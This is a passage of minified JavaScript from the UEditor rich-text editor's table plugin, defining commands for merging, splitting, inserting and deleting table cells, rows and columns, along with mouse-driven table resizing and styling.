    }, UE.commands.mergedown = {
        queryCommandState: function (e) {
            var t = yN(this), i = t.table, n = t.cell;
            if (!i || !n) return -1;
            var o = BN(i);
            if (o.selectedTds.length) return -1;
            var r = o.getCellInfo(n), a = r.rowIndex + r.rowSpan;
            if (a >= o.rowsNum) return -1;
            var s = o.indexTable[a][r.colIndex], l = i.rows[s.rowIndex].cells[s.cellIndex];
            return l && n.tagName == l.tagName && s.colIndex == r.colIndex && s.colSpan == r.colSpan ? 0 : -1
        }, execCommand: function () {
            var e = this.selection.getRange(), t = e.createBookmark(!0), i = yN(this).cell;
            BN(i).mergeDown(i), e.moveToBookmark(t).select()
        }
    }, UE.commands.mergecells = {
        queryCommandState: function () {
            return zN(this) ? 0 : -1
        }, execCommand: function () {
            var e = zN(this);
            if (e && e.selectedTds.length) {
                var t = e.selectedTds[0];
                e.mergeRange();
                var i = this.selection.getRange();
                domUtils.isEmptyBlock(t) ? i.setStart(t, 0).collapse(!0) : i.selectNodeContents(t), i.select()
            }
        }
    }, UE.commands.insertrow = {
        queryCommandState: function () {
            var e = yN(this), t = e.cell;
            return t && ("TD" == t.tagName || "TH" == t.tagName && e.tr !== e.table.rows[0]) && BN(e.table).rowsNum < this.options.maxRowNum ? 0 : -1
        }, execCommand: function () {
            var e = this.selection.getRange(), t = e.createBookmark(!0), i = yN(this), n = i.cell, o = i.table,
                r = BN(o), a = r.getCellInfo(n);
            if (r.selectedTds.length) for (var s = r.cellsRange, l = 0, d = s.endRowIndex - s.beginRowIndex + 1; l < d; l++) r.insertRow(s.beginRowIndex, n); else r.insertRow(a.rowIndex, n);
            e.moveToBookmark(t).select(), "enabled" === o.getAttribute("interlaced") && this.fireEvent("interlacetable", o)
        }
    }, UE.commands.insertrownext = {
        queryCommandState: function () {
            var e = yN(this), t = e.cell;
            return t && "TD" == t.tagName && BN(e.table).rowsNum < this.options.maxRowNum ? 0 : -1
        }, execCommand: function () {
            var e = this.selection.getRange(), t = e.createBookmark(!0), i = yN(this), n = i.cell, o = i.table,
                r = BN(o), a = r.getCellInfo(n);
            if (r.selectedTds.length) for (var s = r.cellsRange, l = 0, d = s.endRowIndex - s.beginRowIndex + 1; l < d; l++) r.insertRow(s.endRowIndex + 1, n); else r.insertRow(a.rowIndex + a.rowSpan, n);
            e.moveToBookmark(t).select(), "enabled" === o.getAttribute("interlaced") && this.fireEvent("interlacetable", o)
        }
    }, UE.commands.deleterow = {
        queryCommandState: function () {
            return yN(this).cell ? 0 : -1
        }, execCommand: function () {
            var e = yN(this).cell, t = BN(e), i = t.cellsRange, n = t.getCellInfo(e), o = t.getVSideCell(e),
                r = t.getVSideCell(e, !0), a = this.selection.getRange();
            if (utils.isEmptyObject(i)) t.deleteRow(n.rowIndex); else for (var s = i.beginRowIndex; s < i.endRowIndex + 1; s++) t.deleteRow(i.beginRowIndex);
            var l = t.table;
            if (l.getElementsByTagName("td").length) if (1 == n.rowSpan || n.rowSpan == i.endRowIndex - i.beginRowIndex + 1) (r || o) && a.selectNodeContents(r || o).setCursor(!1, !0); else {
                var d = t.getCell(n.rowIndex, t.indexTable[n.rowIndex][n.colIndex].cellIndex);
                d && a.selectNodeContents(d).setCursor(!1, !0)
            } else {
                var c = l.nextSibling;
                domUtils.remove(l), c && a.setStart(c, 0).setCursor(!1, !0)
            }
            "enabled" === l.getAttribute("interlaced") && this.fireEvent("interlacetable", l)
        }
    }, UE.commands.insertcol = {
        queryCommandState: function (e) {
            var t = yN(this), i = t.cell;
            return i && ("TD" == i.tagName || "TH" == i.tagName && i !== t.tr.cells[0]) && BN(t.table).colsNum < this.options.maxColNum ? 0 : -1
        }, execCommand: function (e) {
            var t = this.selection.getRange(), i = t.createBookmark(!0);
            if (-1 != this.queryCommandState(e)) {
                var n = yN(this).cell, o = BN(n), r = o.getCellInfo(n);
                if (o.selectedTds.length) for (var a = o.cellsRange, s = 0, l = a.endColIndex - a.beginColIndex + 1; s < l; s++) o.insertCol(a.beginColIndex, n); else o.insertCol(r.colIndex, n);
                t.moveToBookmark(i).select(!0)
            }
        }
    }, UE.commands.insertcolnext = {
        queryCommandState: function () {
            var e = yN(this);
            return e.cell && BN(e.table).colsNum < this.options.maxColNum ? 0 : -1
        }, execCommand: function () {
            var e = this.selection.getRange(), t = e.createBookmark(!0), i = yN(this).cell, n = BN(i),
                o = n.getCellInfo(i);
            if (n.selectedTds.length) for (var r = n.cellsRange, a = 0, s = r.endColIndex - r.beginColIndex + 1; a < s; a++) n.insertCol(r.endColIndex + 1, i); else n.insertCol(o.colIndex + o.colSpan, i);
            e.moveToBookmark(t).select()
        }
    }, UE.commands.deletecol = {
        queryCommandState: function () {
            return yN(this).cell ? 0 : -1
        }, execCommand: function () {
            var e = yN(this).cell, t = BN(e), i = t.cellsRange, n = t.getCellInfo(e), o = t.getHSideCell(e),
                r = t.getHSideCell(e, !0);
            if (utils.isEmptyObject(i)) t.deleteCol(n.colIndex); else for (var a = i.beginColIndex; a < i.endColIndex + 1; a++) t.deleteCol(i.beginColIndex);
            var s = t.table, l = this.selection.getRange();
            if (s.getElementsByTagName("td").length) domUtils.inDoc(e, this.document) ? l.setStart(e, 0).setCursor(!1, !0) : r && domUtils.inDoc(r, this.document) ? l.selectNodeContents(r).setCursor(!1, !0) : o && domUtils.inDoc(o, this.document) && l.selectNodeContents(o).setCursor(!0, !0); else {
                var d = s.nextSibling;
                domUtils.remove(s), d && l.setStart(d, 0).setCursor(!1, !0)
            }
        }
    }, UE.commands.splittocells = {
        queryCommandState: function () {
            var e = yN(this), t = e.cell;
            return t && !(0 < BN(e.table).selectedTds.length) && t && (1 < t.colSpan || 1 < t.rowSpan) ? 0 : -1
        }, execCommand: function () {
            var e = this.selection.getRange(), t = e.createBookmark(!0), i = yN(this).cell;
            BN(i).splitToCells(i), e.moveToBookmark(t).select()
        }
    }, UE.commands.splittorows = {
        queryCommandState: function () {
            var e = yN(this), t = e.cell;
            return t && !(0 < BN(e.table).selectedTds.length) && t && 1 < t.rowSpan ? 0 : -1
        }, execCommand: function () {
            var e = this.selection.getRange(), t = e.createBookmark(!0), i = yN(this).cell;
            BN(i).splitToRows(i), e.moveToBookmark(t).select()
        }
    }, UE.commands.splittocols = {
        queryCommandState: function () {
            var e = yN(this), t = e.cell;
            return t && !(0 < BN(e.table).selectedTds.length) && t && 1 < t.colSpan ? 0 : -1
        }, execCommand: function () {
            var e = this.selection.getRange(), t = e.createBookmark(!0), i = yN(this).cell;
            BN(i).splitToCols(i), e.moveToBookmark(t).select()
        }
    }, UE.commands.adaptbytext = UE.commands.adaptbywindow = {
        queryCommandState: function () {
            return yN(this).table ? 0 : -1
        }, execCommand: function (e) {
            var t = yN(this).table;
            if (t) if ("adaptbywindow" == e) CN(t, this); else {
                var i = domUtils.getElementsByTagName(t, "td th");
                utils.each(i, function (e) {
                    e.removeAttribute("width")
                }), t.removeAttribute("width")
            }
        }
    }, UE.commands.averagedistributecol = {
        queryCommandState: function () {
            var e = zN(this);
            return e && (e.isFullRow() || e.isFullCol()) ? 0 : -1
        }, execCommand: function (e) {
            var l = this, d = zN(l);
            d && d.selectedTds.length && function (t) {
                utils.each(domUtils.getElementsByTagName(d.table, "th"), function (e) {
                    e.setAttribute("width", "")
                });
                var e = d.isFullRow() ? domUtils.getElementsByTagName(d.table, "td") : d.selectedTds;
                utils.each(e, function (e) {
                    1 == e.colSpan && e.setAttribute("width", t)
                })
            }(function () {
                var e = d.table, t = 0, i = 0, n = AN(l, e);
                if (d.isFullRow()) t = e.offsetWidth, i = d.colsNum; else for (var o, r = d.cellsRange.beginColIndex, a = d.cellsRange.endColIndex, s = r; s <= a;) t += (o = d.selectedTds[s]).offsetWidth, s += o.colSpan, i += 1;
                return Math.ceil(t / i) - 2 * n.tdBorder - 2 * n.tdPadding
            }())
        }
    }, UE.commands.averagedistributerow = {
        queryCommandState: function () {
            var e = zN(this);
            return e && (!e.selectedTds || !/th/gi.test(e.selectedTds[0].tagName)) && (e.isFullRow() || e.isFullCol()) ? 0 : -1
        }, execCommand: function (e) {
            var t, i, h = this, p = zN(h);
            p && p.selectedTds.length && (t = function () {
                var e, t = 0, i = p.table, n = AN(h, i),
                    o = parseInt(domUtils.getComputedStyle(i.getElementsByTagName("td")[0], "padding-top"));
                if (p.isFullCol()) {
                    var r, a, s = domUtils.getElementsByTagName(i, "caption"),
                        l = domUtils.getElementsByTagName(i, "th");
                    0 < s.length && (r = s[0].offsetHeight), 0 < l.length && (a = l[0].offsetHeight), t = i.offsetHeight - (r || 0) - (a || 0), e = 0 == l.length ? p.rowsNum : p.rowsNum - 1
                } else {
                    for (var d = p.cellsRange.beginRowIndex, c = p.cellsRange.endRowIndex, u = 0, m = domUtils.getElementsByTagName(i, "tr"), f = d; f <= c; f++) t += m[f].offsetHeight, u += 1;
                    e = u
                }
                return browser.ie && browser.version < 9 ? Math.ceil(t / e) : Math.ceil(t / e) - 2 * n.tdBorder - 2 * o
            }(), i = p.isFullCol() ? domUtils.getElementsByTagName(p.table, "td") : p.selectedTds, utils.each(i, function (e) {
                1 == e.rowSpan && e.setAttribute("height", t)
            }))
        }
    }, UE.commands.cellalignment = {
        queryCommandState: function () {
            return yN(this).table ? 0 : -1
        }, execCommand: function (e, t) {
            var i = zN(this);
            if (i) utils.each(i.selectedTds, function (e) {
                domUtils.setAttributes(e, t)
            }); else {
                var n = this.selection.getStart(),
                    o = n && domUtils.findParentByTagName(n, ["td", "th", "caption"], !0);
                /caption/gi.test(o.tagName) ? (o.style.textAlign = t.align, o.style.verticalAlign = t.vAlign) : domUtils.setAttributes(o, t), this.selection.getRange().setCursor(!0)
            }
        }, queryCommandValue: function (e) {
            var t = yN(this).cell;
            if (t = t || EN(this)[0]) {
                var i = UE.UETable.getUETable(t).selectedTds;
                return i.length || (i = t), UE.UETable.getTableCellAlignState(i)
            }
            return null
        }
    }, UE.commands.tablealignment = {
        queryCommandState: function () {
            return !(browser.ie && browser.version < 8) && yN(this).table ? 0 : -1
        }, execCommand: function (e, t) {
            var i = this.selection.getStart(), n = i && domUtils.findParentByTagName(i, ["table"], !0);
            n && n.setAttribute("align", t)
        }
    }, UE.commands.edittable = {
        queryCommandState: function () {
            return yN(this).table ? 0 : -1
        }, execCommand: function (e, t) {
            var i = this.selection.getRange(), n = domUtils.findParentByTagName(i.startContainer, "table");
            if (n) {
                var o = domUtils.getElementsByTagName(n, "td").concat(domUtils.getElementsByTagName(n, "th"), domUtils.getElementsByTagName(n, "caption"));
                utils.each(o, function (e) {
                    e.style.borderColor = t
                })
            }
        }
    }, UE.commands.edittd = {
        queryCommandState: function () {
            return yN(this).table ? 0 : -1
        }, execCommand: function (e, t) {
            var i = zN(this);
            if (i) utils.each(i.selectedTds, function (e) {
                e.style.backgroundColor = t
            }); else {
                var n = this.selection.getStart(),
                    o = n && domUtils.findParentByTagName(n, ["td", "th", "caption"], !0);
                o && (o.style.backgroundColor = t)
            }
        }
    }, UE.commands.settablebackground = {
        queryCommandState: function () {
            return 1 < EN(this).length ? 0 : -1
        }, execCommand: function (e, t) {
            var i;
            i = EN(this), BN(i[0]).setBackground(i, t)
        }
    }, UE.commands.cleartablebackground = {
        queryCommandState: function () {
            var e = EN(this);
            if (!e.length) return -1;
            for (var t, i = 0; t = e[i++];) if ("" !== t.style.backgroundColor) return 0;
            return -1
        }, execCommand: function () {
            var e = EN(this);
            BN(e[0]).removeBackground(e)
        }
    }, UE.commands.interlacetable = UE.commands.uninterlacetable = {
        queryCommandState: function (e) {
            var t = yN(this).table;
            if (!t) return -1;
            var i = t.getAttribute("interlaced");
            return "interlacetable" == e ? "enabled" === i ? -1 : 0 : i && "disabled" !== i ? 0 : -1
        }, execCommand: function (e, t) {
            var i = yN(this).table;
            "interlacetable" == e ? (i.setAttribute("interlaced", "enabled"), this.fireEvent("interlacetable", i, t)) : (i.setAttribute("interlaced", "disabled"), this.fireEvent("uninterlacetable", i))
        }
    }, UE.commands.setbordervisible = {
        queryCommandState: function (e) {
            return yN(this).table ? 0 : -1
        }, execCommand: function () {
            var e = yN(this).table;
            utils.each(domUtils.getElementsByTagName(e, "td"), function (e) {
                e.style.borderWidth = "1px", e.style.borderStyle = "solid"
            })
        }
    }, UE.plugins.table = function () {
        function U(e, t) {
            return S.getDefaultValue(e, t)
        }

        var c = this, r = null, u = 5, m = !1, n = 5, a = 10, f = 0, h = null, p = 360, S = UE.UETable,
            k = function (e) {
                return S.getUETable(e)
            }, B = function (e) {
                return S.getUETableBySelected(e)
            }, s = function (e) {
                return S.removeSelectedClass(e)
            };
        c.ready(function () {
            var i = this, n = i.selection.getText;
            i.selection.getText = function () {
                var e = B(i);
                if (e) {
                    var t = "";
                    return utils.each(e.selectedTds, function (e) {
                        t += e[browser.ie ? "innerText" : "textContent"]
                    }), t
                }
                return n.call(i.selection)
            }
        });
        var g = null, l = null, b = "", v = !1, d = null, y = !1, C = null, x = null, w = !1;
        c.setOpt({
            maxColNum: 20,
            maxRowNum: 100,
            defaultCols: 5,
            defaultRows: 5,
            tdvalign: "top",
            cursorpath: c.options.UEDITOR_HOME_URL + "themes/default/images/cursor_",
            tableDragable: !1,
            classList: ["ue-table-interlace-color-single", "ue-table-interlace-color-double"]
        }), c.getUETable = k;
        var I = {
            deletetable: 1,
            inserttable: 1,
            cellvalign: 1,
            insertcaption: 1,
            deletecaption: 1,
            inserttitle: 1,
            deletetitle: 1,
            mergeright: 1,
            mergedown: 1,
            mergecells: 1,
            insertrow: 1,
            insertrownext: 1,
            deleterow: 1,
            insertcol: 1,
            insertcolnext: 1,
            deletecol: 1,
            splittocells: 1,
            splittorows: 1,
            splittocols: 1,
            adaptbytext: 1,
            adaptbywindow: 1,
            adaptbycustomer: 1,
            insertparagraph: 1,
            insertparagraphbeforetable: 1,
            averagedistributecol: 1,
            averagedistributerow: 1
        };

        function _(e) {
            t(e, "width", !0), t(e, "height", !0)
        }

        function t(e, t, i) {
            e.style[t] && (i && e.setAttribute(t, parseInt(e.style[t], 10)), e.style[t] = "")
        }

        function L(e) {
            return "TD" == e.tagName || "TH" == e.tagName ? e : (t = domUtils.findParentByTagName(e, "td", !0) || domUtils.findParentByTagName(e, "th", !0)) ? t : null;
            var t
        }

        function R(e) {
            var t = new RegExp(domUtils.fillChar, "g");
            if (!(0 < e[browser.ie ? "innerText" : "textContent"].replace(/^\s*$/, "").replace(t, "").length)) {
                for (var i in dtd.$isNotEmpty) if (e.getElementsByTagName(i).length) return;
                return 1
            }
        }

        function N(e) {
            return e.pageX || e.pageY ? {
                x: e.pageX,
                y: e.pageY
            } : {
                x: e.clientX + c.document.body.scrollLeft - c.document.body.clientLeft,
                y: e.clientY + c.document.body.scrollTop - c.document.body.clientTop
            }
        }

        function i(e) {
            if (!q()) try {
                var t, i = L(e.target || e.srcElement);
                if (m && (c.body.style.webkitUserSelect = "none", (Math.abs(h.x - e.clientX) > a || Math.abs(h.y - e.clientY) > a) && (O(), m = !1, f = 0, H(e))), b && x) return f = 0, c.body.style.webkitUserSelect = "none", c.selection.getNative()[browser.ie9below ? "empty" : "removeAllRanges"](), t = N(e), M(c, !0, b, 0, i), void ("h" == b ? C.style.left = function (e, t) {
                    var i = k(e);
                    if (i) {
                        var n = i.getSameEndPosCells(e, "x")[0], o = i.getSameStartPosXCells(e)[0], r = N(t).x,
                            a = (n ? domUtils.getXY(n).x : domUtils.getXY(i.table).x) + 20,
                            s = o ? domUtils.getXY(o).x + o.offsetWidth - 20 : c.body.offsetWidth + 5 || parseInt(domUtils.getComputedStyle(c.body, "width"), 10);
                        return s -= u, r < (a += u) ? a : s < r ? s : r
                    }
                }(x, e) + "px" : "v" == b && (C.style.top = function (e, t) {
                    try {
                        var i = domUtils.getXY(e).y, n = N(t).y;
                        return n < i ? i : n
                    } catch (e) {
                    }
                }(x, e) + "px"));
                if (i) {
                    if (!0 === c.fireEvent("excludetable", i)) return;
                    var n = E(i, t = N(e)), o = domUtils.findParentByTagName(i, "table", !0);
                    if (D(o, i, e, !0)) {
                        if (!0 === c.fireEvent("excludetable", o)) return;
                        c.body.style.cursor = "url(" + c.options.cursorpath + "h.png),pointer"
                    } else if (D(o, i, e)) {
                        if (!0 === c.fireEvent("excludetable", o)) return;
                        c.body.style.cursor = "url(" + c.options.cursorpath + "v.png),pointer"
                    } else {
                        c.body.style.cursor = "text";
                        /\d/.test(n) && (n = n.replace(/\d/, ""), i = k(i).getPreviewCell(i, "v" == n)), M(c, !!i && !!n, i ? n : "", 0, i)
                    }
                } else A(!1, o, c)
            } catch (e) {
            }
        }

        function A(e, t, i) {
            if (e) !function (o, r) {
                var a, e = domUtils.getXY(o), t = o.ownerDocument;
                if (d && d.parentNode) return;
                (d = t.createElement("div")).contentEditable = !1, d.innerHTML = "", d.style.cssText = "width:15px;height:15px;background-image:url(" + r.options.UEDITOR_HOME_URL + "dialogs/table/dragicon.png);position: absolute;cursor:move;top:" + (e.y - 15) + "px;left:" + e.x + "px;", domUtils.unSelectable(d), d.onmouseover = function (e) {
                    y = !0
                }, d.onmouseout = function (e) {
                    y = !1
                }, domUtils.on(d, "click", function (e, t) {
                    var i;
                    i = this, clearTimeout(a), a = setTimeout(function () {
                        r.fireEvent("tableClicked", o, i)
                    }, 300)
                }), domUtils.on(d, "dblclick", function (e, t) {
                    !function () {
                        clearTimeout(a);
                        var e = k(o), t = o.rows[0].cells[0], i = e.getLastCell(), n = e.getCellsRange(t, i);
                        r.selection.getRange().setStart(t, 0).setCursor(!1, !0), e.setSelected(n)
                    }()
                }), domUtils.on(d, "dragstart", function (e, t) {
                    domUtils.preventDefault(t)
                }), t.body.appendChild(d)
            }(t, i); else {
                if (y) return;
                setTimeout(function () {
                    !y && d && d.parentNode && d.parentNode.removeChild(d)
                }, 2e3)
            }
        }

        function D(e, t, i, n) {
            var o = N(i), r = E(t, o);
            if (n) {
                var a = e.getElementsByTagName("caption")[0], s = a ? a.offsetHeight : 0;
                return "v1" == r && o.y - domUtils.getXY(e).y - s < 8
            }
            return "h1" == r && o.x - domUtils.getXY(e).x < 8
        }

        function M(e, t, i, n, o) {
            try {
                e.body.style.cursor = "h" == i ? "col-resize" : "v" == i ? "row-resize" : "text", browser.ie && (!i || w || B(e) ? Y(e) : (j(e, e.document), X(i, o))), v = t
            } catch (e) {
            }
        }

        function E(e, t) {
            var i = domUtils.getXY(e);
            return i ? i.x + e.offsetWidth - t.x < n ? "h" : t.x - i.x < n ? "h1" : i.y + e.offsetHeight - t.y < n ? "v" : t.y - i.y < n ? "v1" : "" : ""
        }

        function o(e, t) {
            if (!q()) if (h = {x: t.clientX, y: t.clientY}, 2 == t.button) {
                var i = B(c), n = !1;
                if (i) {
                    var o = K(c, t);
                    utils.each(i.selectedTds, function (e) {
                        e === o && (n = !0)
                    }), n ? (o = i.selectedTds[0], setTimeout(function () {
                        c.selection.getRange().setStart(o, 0).setCursor(!1, !0)
                    }, 0)) : (s(domUtils.getElementsByTagName(c.body, "th td")), i.clearSelected())
                }
            } else !function (e) {
                if (s(domUtils.getElementsByTagName(c.body, "td th")), utils.each(c.document.getElementsByTagName("table"), function (e) {
                    e.ueTable = null
                }), !(g = K(c, e))) return;
                var t = domUtils.findParentByTagName(g, "table", !0);
                ut = k(t), ut && ut.clearSelected(), v ? function (e) {
                    browser.ie && (e = function (e) {
                        var t = ["pageX", "pageY", "clientX", "clientY", "srcElement", "target"], i = {};
                        if (e) for (var n, o, r = 0; n = t[r]; r++) (o = e[n]) && (i[n] = o);
                        return i
                    }(e));
                    O(), m = !0, r = setTimeout(function () {
                        H(e)
                    }, p)
                }(e) : (c.document.body.style.webkitUserSelect = "", w = !0, c.addListener("mouseover", $))
            }(t)
        }

        function T(e) {
            f = 0;
            var t, i = L((e = e || c.window.event).target || e.srcElement);
            if (i && (t = E(i, N(e)))) {
                if (Y(c), "h1" == t) if (t = "h", D(domUtils.findParentByTagName(i, "table"), i, e)) c.execCommand("adaptbywindow"); else if (i = k(i).getPreviewCell(i)) c.selection.getRange().selectNodeContents(i).setCursor(!0, !0);
                if ("h" == t) {
                    var n = k(i), o = z(i, n.table, !0);
                    o = function (e, t) {
                        for (var i = [], n = null, o = 0, r = e.length; o < r; o++) (n = e[o][t]) && i.push(n);
                        return i
                    }(o, "left"), n.width = n.offsetWidth;
                    var r = [], a = [];
                    utils.each(o, function (e) {
                        r.push(e.offsetWidth)
                    }), utils.each(o, function (e) {
                        e.removeAttribute("width")
                    }), window.setTimeout(function () {
                        var n = !0;
                        utils.each(o, function (e, t) {
                            var i = e.offsetWidth;
                            if (i > r[t]) return n = !1;
                            a.push(i)
                        });
                        var i = n ? a : r;
                        utils.each(o, function (e, t) {
                            e.width = i[t] - W()
                        })
                    }, 0)
                }
            }
        }

        function O() {
            r && clearTimeout(r), r = null
        }

        function H(e) {
            if (m = !1, g = e.target || e.srcElement) {
                var t = E(g, N(e));
                /\d/.test(t) && (t = t.replace(/\d/, ""), g = k(g).getPreviewCell(g, "v" == t)), Y(c), j(c, c.document), c.fireEvent("saveScene"), X(t, g), w = !0, b = t, x = g
            }
        }

        function P(e, t) {
            if (!q()) {
                if (O(), m = !1, v && (f = ++f % 3, h = {x: t.clientX, y: t.clientY}, setTimeout(function () {
                    0 < f && f--
                }, p), 2 === f)) return f = 0, void T(t);
                if (2 != t.button) {
                    var i = this, n = i.selection.getRange(),
                        o = domUtils.findParentByTagName(n.startContainer, "table", !0),
                        r = domUtils.findParentByTagName(n.endContainer, "table", !0);
                    if (!o && !r || o === r && (o = domUtils.findParentByTagName(n.startContainer, ["td", "th", "caption"], !0)) === (r = domUtils.findParentByTagName(n.endContainer, ["td", "th", "caption"], !0)) || i.selection.clearRange(), w = !1, i.document.body.style.webkitUserSelect = "", b && x && (i.selection.getNative()[browser.ie9below ? "empty" : "removeAllRanges"](), f = 0, C = i.document.getElementById("ue_tableDragLine"))) {
                        var a = domUtils.getXY(x), s = domUtils.getXY(C);
                        switch (b) {
                            case"h":
                                !function (e, t) {
                                    var i = k(e);
                                    if (i) {
                                        var n = i.table, o = z(e, n);
                                        if (n.style.width = "", n.removeAttribute("width"), t = function (i, e, t) {
                                            if ((i -= W()) < 0) return 0;
                                            var n = (i -= V(e)) < 0 ? "left" : "right";
                                            return i = Math.abs(i), utils.each(t, function (e) {
                                                var t = e[n];
                                                t && (i = Math.min(i, V(t) - u))
                                            }), i = i < 0 ? 0 : i, "left" == n ? -i : i
                                        }(t, e, o), e.nextSibling) {
                                            utils.each(o, function (e) {
                                                e.left.width = +e.left.width + t, e.right && (e.right.width = e.right.width - t)
                                            })
                                        } else utils.each(o, function (e) {
                                            e.left.width -= -t
                                        })
                                    }
                                }(x, s.x - a.x);
                                break;
                            case"v":
                                !function (e, t) {
                                    if (Math.abs(t) < 10) return;
                                    var i = k(e);
                                    if (i) for (var n, o = i.getSameEndPosCells(e, "y"), r = o[0] ? o[0].offsetHeight : 0, a = 0; n = o[a++];) F(n, t, r)
                                }(x, s.y - a.y - x.offsetHeight)
                        }
                        return b = "", x = null, Y(i), void i.fireEvent("saveScene")
                    }
                    if (g) {
                        var l = k(g), d = l ? l.selectedTds[0] : null;
                        if (d) n = new dom.Range(i.document), domUtils.isEmptyBlock(d) ? n.setStart(d, 0).setCursor(!1, !0) : n.selectNodeContents(d).shrinkBoundary().setCursor(!1, !0); else if (!(n = i.selection.getRange().shrinkBoundary()).collapsed) {
                            o = domUtils.findParentByTagName(n.startContainer, ["td", "th"], !0), r = domUtils.findParentByTagName(n.endContainer, ["td", "th"], !0);
                            (o && !r || !o && r || o && r && o !== r) && n.setCursor(!1, !0)
                        }
                        g = null, i.removeListener("mouseover", $)
                    } else {
                        var c = domUtils.findParentByTagName(t.target || t.srcElement, "td", !0);
                        if ((c = c || domUtils.findParentByTagName(t.target || t.srcElement, "th", !0)) && ("TD" == c.tagName || "TH" == c.tagName)) {
                            if (!0 === i.fireEvent("excludetable", c)) return;
                            (n = new dom.Range(i.document)).setStart(c, 0).setCursor(!1, !0)
                        }
                    }
                    i._selectionChange(250, t)
                }
            }
        }

        function $(e, t) {
            if (!q()) {
                var i = t.target || t.srcElement;
                if (l = domUtils.findParentByTagName(i, "td", !0) || domUtils.findParentByTagName(i, "th", !0), g && l && ("TD" == g.tagName && "TD" == l.tagName || "TH" == g.tagName && "TH" == l.tagName) && domUtils.findParentByTagName(g, "table") == domUtils.findParentByTagName(l, "table")) {
                    var n = k(l);
                    if (g != l) {
                        this.document.body.style.webkitUserSelect = "none", this.selection.getNative()[browser.ie9below ? "empty" : "removeAllRanges"]();
                        var o = n.getCellsRange(g, l);
                        n.setSelected(o)
                    } else this.document.body.style.webkitUserSelect = "", n.clearSelected()
                }
                t.preventDefault ? t.preventDefault() : t.returnValue = !1
            }
        }

        function F(e, t, i) {
            var n = parseInt(domUtils.getComputedStyle(e, "line-height"), 10), o = i + t;
            t = o < n ? n : o, e.style.height && (e.style.height = ""), 1 == e.rowSpan ? e.setAttribute("height", t) : e.removeAttribute && e.removeAttribute("height")
        }

        function q() {
            return "false" === c.body.contentEditable
        }

        function z(e, t, n) {
            if (!(t = t || domUtils.findParentByTagName(e, "table"))) return null;
            domUtils.getNodeIndex(e);
            for (var i = e, o = t.rows, r = 0; i;) 1 === i.nodeType && (r += i.colSpan || 1), i = i.previousSibling;
            i = null;
            var a = [];
            return utils.each(o, function (e) {
                var t = e.cells, i = 0;
                utils.each(t, function (e) {
                    return (i += e.colSpan || 1) === r ? (a.push({
                        left: e,
                        right: e.nextSibling || null
                    }), !1) : r < i ? (n && a.push({left: e}), !1) : void 0
                })
            }), a
        }

        function V(e) {
            var t = 0;
            t = e.offsetWidth - W();
            e.nextSibling || (t -= function (e) {
                if (tab = domUtils.findParentByTagName(e, "table", !1), void 0 === tab.offsetVal) {
                    var t = e.previousSibling;
                    tab.offsetVal = t && e.offsetWidth - t.offsetWidth === S.borderWidth ? S.borderWidth : 0
                }
                return tab.offsetVal
            }(e)), t = t < 0 ? 0 : t;
            try {
                e.width = t
            } catch (e) {
            }
            return t
        }

        function W() {
            if (void 0 === S.tabcellSpace) {
                var e = c.document.createElement("table"), t = c.document.createElement("tbody"),
                    i = c.document.createElement("tr"), n = c.document.createElement("td"), o = null;
                n.style.cssText = "border: 0;", n.width = 1, i.appendChild(n), i.appendChild(o = n.cloneNode(!1)), t.appendChild(i), e.appendChild(t), e.style.cssText = "visibility: hidden;", c.body.appendChild(e), S.paddingSpace = n.offsetWidth - 1;
                var r = e.offsetWidth;
                n.style.cssText = "", o.style.cssText = "", S.borderWidth = (e.offsetWidth - r) / 3, S.tabcellSpace = S.paddingSpace + S.borderWidth, c.body.removeChild(e)
            }
            return W = function () {
                return S.tabcellSpace
            }, S.tabcellSpace
        }

        function j(e) {
            w || (C = e.document.createElement("div"), domUtils.setAttributes(C, {
                id: "ue_tableDragLine",
                unselectable: "on",
                contenteditable: !1,
                onresizestart: "return false",
                ondragstart: "return false",
                onselectstart: "return false",
                style: "background-color:blue;position:absolute;padding:0;margin:0;background-image:none;border:0px none;opacity:0;filter:alpha(opacity=0)"
            }), e.body.appendChild(C))
        }

        function Y(e) {
            if (!w) for (var t; t = e.document.getElementById("ue_tableDragLine");) domUtils.remove(t)
        }

        function X(e, t) {
            if (t) {
                var i, n = domUtils.findParentByTagName(t, "table"), o = n.getElementsByTagName("caption"),
                    r = n.offsetWidth, a = n.offsetHeight - (0 < o.length ? o[0].offsetHeight : 0),
                    s = domUtils.getXY(n), l = domUtils.getXY(t);
                switch (e) {
                    case"h":
                        i = "height:" + a + "px;top:" + (s.y + (0 < o.length ? o[0].offsetHeight : 0)) + "px;left:" + (l.x + t.offsetWidth), C.style.cssText = i + "px;position: absolute;display:block;background-color:blue;width:1px;border:0; color:blue;opacity:.3;filter:alpha(opacity=30)";
                        break;
                    case"v":
                        i = "width:" + r + "px;left:" + s.x + "px;top:" + (l.y + t.offsetHeight), C.style.cssText = i + "px;overflow:hidden;position: absolute;display:block;background-color:blue;height:1px;border:0;color:blue;opacity:.2;filter:alpha(opacity=20)"
                }
            }
        }

        function G(e, t) {
            for (var i, n, o = domUtils.getElementsByTagName(e.body, "table"), r = 0; n = o[r++];) {
                var a = domUtils.getElementsByTagName(n, "td");
                a[0] && (t ? (i = a[0].style.borderColor.replace(/\s/g, ""), /(#ffffff)|(rgb\(255,255,255\))/gi.test(i) && domUtils.addClass(n, "noBorderTable")) : domUtils.removeClasses(n, "noBorderTable"))
            }
        }

        function K(e, t) {
            var i, n = domUtils.findParentByTagName(t.target || t.srcElement, ["td", "th"], !0);
            if (!n) return null;
            if (i = E(n, N(t)), !n) return null;
            if ("h1" === i && n.previousSibling) {
                var o = domUtils.getXY(n), r = n.offsetWidth;
                Math.abs(o.x + r - t.clientX) > r / 3 && (n = n.previousSibling)
            } else if ("v1" === i && n.parentNode.previousSibling) {
                o = domUtils.getXY(n);
                var a = n.offsetHeight;
                Math.abs(o.y + a - t.clientY) > a / 3 && (n = n.parentNode.previousSibling.firstChild)
            }
            return n && !0 !== e.fireEvent("excludetable", n) ? n : null
        }

        c.ready(function () {
            var N, E, T, e;
            utils.cssRule("table", ".selectTdClass{background-color:#edf5fa !important}table.noBorderTable td,table.noBorderTable th,table.noBorderTable caption{border:1px dashed #ddd !important}table{margin-bottom:10px;border-collapse:collapse;display:table;}td,th{padding: 5px 10px;border: 1px solid #DDD;}caption{border:1px dashed #DDD;border-bottom:0;padding:3px;text-align:center;}th{border-top:1px solid #BBB;background-color:#F7F7F7;}table tr.firstRow th{border-top-width:2px;}.ue-table-interlace-color-single{ background-color: #fcfcfc; } .ue-table-interlace-color-double{ background-color: #f7faff; }td p{margin:0;padding:0;}", c.document), c.addListener("keydown", function (e, t) {
